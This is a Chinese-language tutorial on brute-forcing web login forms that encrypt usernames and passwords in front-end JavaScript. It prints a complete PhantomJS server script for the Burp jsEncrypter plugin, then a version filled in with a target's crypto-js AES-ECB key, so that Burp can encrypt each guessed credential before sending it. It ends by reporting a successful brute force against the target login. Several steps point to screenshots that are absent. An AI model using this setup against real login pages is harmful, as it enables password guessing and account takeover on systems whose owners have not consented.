绕过前端js加密进行爆破

很多情况下,用户名密码会被js加密,企图阻止攻击者进行暴力破解,有以下两种解决方法:

下面介绍第二种方法的实现。

前期准备

Burp安装jsEncrypter插件

项目地址:https://github.com/c0ny1/jsEncrypter/

安装PhantomJS

下载地址:https://phantomjs.org/download.html

工作原理

通过PhantomJS起一个服务端,Burp将payload发送给PhantomJS的服务端,服务端收到payload后通过调用指定的js文件进行加密,加密晚场返回给Burp,Burp再将加密后的Payload发送给目标应用。

配置文件编写

配置文件基本框架如下

/**
 * author: c0ny1
 * date: 2017-12-16
 * last update: 2019-5-30 11:16
 */
var fs = require('fs');
var logfile = 'jsEncrypter.log';
var webserver = require('webserver');
server = webserver.create();

var host = '127.0.0.1';
var port = '1664';

// 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('');/*引入实现加密的js文件*/

// 处理函数
function js_encrypt(payload){
	/**********在这里编写调用加密函数进行加密的代码************/
	/**********************************************************/
	return newpayload;
}

if(wasSuccessful){
	console.log("[*] load js successful");
	console.log("[!] ^_^");
	console.log("[*] jsEncrypterJS start!");
	console.log("[+] address: http://"+host+":"+port);
}else{
	console.log('[*] load js fail!');
}

var service = server.listen(host+':'+port,function(request, response){
 	try{
		if(request.method == 'POST'){
			var payload = request.post['payload'];
			var encrypt_payload = js_encrypt(payload); 
			var log = payload + ':' + encrypt_payload;
			console.log('[+] ' + log);
            fs.write(logfile,log + '\n', 'w+');
			response.statusCode = 200;
			response.write(encrypt_payload.toString());
			response.close();
		}else{
			  response.statusCode = 200;
			  response.write("^_^\n\rhello jsEncrypter!");
			  response.close();
		}
	}catch(e){
		//console.log('[Error]'+e.message+' happen '+e.line+'line');
		console.log('\n-----------------Error Info--------------------')
		var fullMessage = "Message: "+e.toString() + ':'+ e.line;
		for (var p in e) {
			fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
		} 
		console.log(fullMessage);
		console.log('---------------------------------------------')
		console.log('[*] phantomJS exit!')
		phantom.exit();
    }	
});

需要修改的地方:

实战过程

查看登录页面源码,发现其调用了crypto-js.js文件用于加密

具体加密代码如下

修改配置文件内容如下:

/**
 * author: c0ny1
 * date: 2017-12-16
 * last update: 2019-5-30 11:16
 */
var fs = require('fs');
var logfile = 'jsEncrypter.log';
var webserver = require('webserver');
server = webserver.create();

var host = '127.0.0.1';
var port = '1664';

// 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('crypto-js.js');/*引入实现加密的js文件*/

// 处理函数
function js_encrypt(payload){
	/**********在这里编写调用加密函数进行加密的代码************/
	var key  = CryptoJS.enc.Utf8.parse('abcdefgabcdefg12');
  var srcs = CryptoJS.enc.Utf8.parse(payload);
  var newpayload = CryptoJS.AES.encrypt(srcs, key, {mode:CryptoJS.mode.ECB,padding: CryptoJS.pad.Pkcs7});
	/**********************************************************/
	return newpayload;
}

if(wasSuccessful){
	console.log("[*] load js successful");
	console.log("[!] ^_^");
	console.log("[*] jsEncrypterJS start!");
	console.log("[+] address: http://"+host+":"+port);
}else{
	console.log('[*] load js fail!');
}

var service = server.listen(host+':'+port,function(request, response){
 	try{
		if(request.method == 'POST'){
			var payload = request.post['payload'];
			var encrypt_payload = js_encrypt(payload); 
			var log = payload + ':' + encrypt_payload;
			console.log('[+] ' + log);
            fs.write(logfile,log + '\n', 'w+');
			response.statusCode = 200;
			response.write(encrypt_payload.toString());
			response.close();
		}else{
			  response.statusCode = 200;
			  response.write("^_^\n\rhello jsEncrypter!");
			  response.close();
		}
	}catch(e){
		//console.log('[Error]'+e.message+' happen '+e.line+'line');
		console.log('\n-----------------Error Info--------------------')
		var fullMessage = "Message: "+e.toString() + ':'+ e.line;
		for (var p in e) {
			fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
		} 
		console.log(fullMessage);
		console.log('---------------------------------------------')
		console.log('[*] phantomJS exit!')
		phantom.exit();
    }	
});

将目标系统的加密js文件下载下来,与编辑好的配置文件放在同级目录下

调用配置文件起PhantomJS服务端

使用Burp的jsEncrypt插件进行连接测试

成功连接,且成功加密,同时服务端回显记录

抓包使用插件爆破

成功爆破

同时服务端不断返回加密结果